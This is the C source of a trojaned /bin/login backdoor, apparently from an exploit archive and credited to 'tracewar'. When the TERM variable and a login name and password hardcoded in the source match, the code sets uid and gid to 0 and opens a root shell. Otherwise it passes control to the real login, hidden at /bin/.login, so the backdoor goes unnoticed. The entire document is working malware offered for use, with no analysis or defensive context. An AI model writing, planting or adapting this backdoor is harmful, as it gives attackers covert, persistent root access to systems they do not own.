/bin/login backdoor by tracewar.
a5dca046dcb7b274a126ab8bb95c6d1337c341f400908f5db631dbe41b2c9f17
/*
backdoor for /bin/login built in 2 minutes, code by tracewar.
respect to TESO Security Team.
greetings to ami,expend,dvorak-,izik and all the other i forgot ;)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define TERM "password1"
#define LOGIN "r00t"
#define PASSWORD "password2"
#define BACK_LOGIN "/bin/.login"
int binsh;
char input[256],command[256],*y,haxor[10];
int main(){
if((strcmp(getenv("TERM"),TERM))){
sprintf(command, "/bin/.login");
system(command);
return(0);}
printf("login: ");
gets(input);
if((!strcmp(input,LOGIN))){
printf("password: ");
y = getpass(haxor);
if((!strcmp(y, PASSWORD))){ binsh = 1; }}
if(binsh == 1){
setuid(0);
setgid(0);
puts("Entering RootShell...");
system("/bin/sh");
return(0);}
return(0);}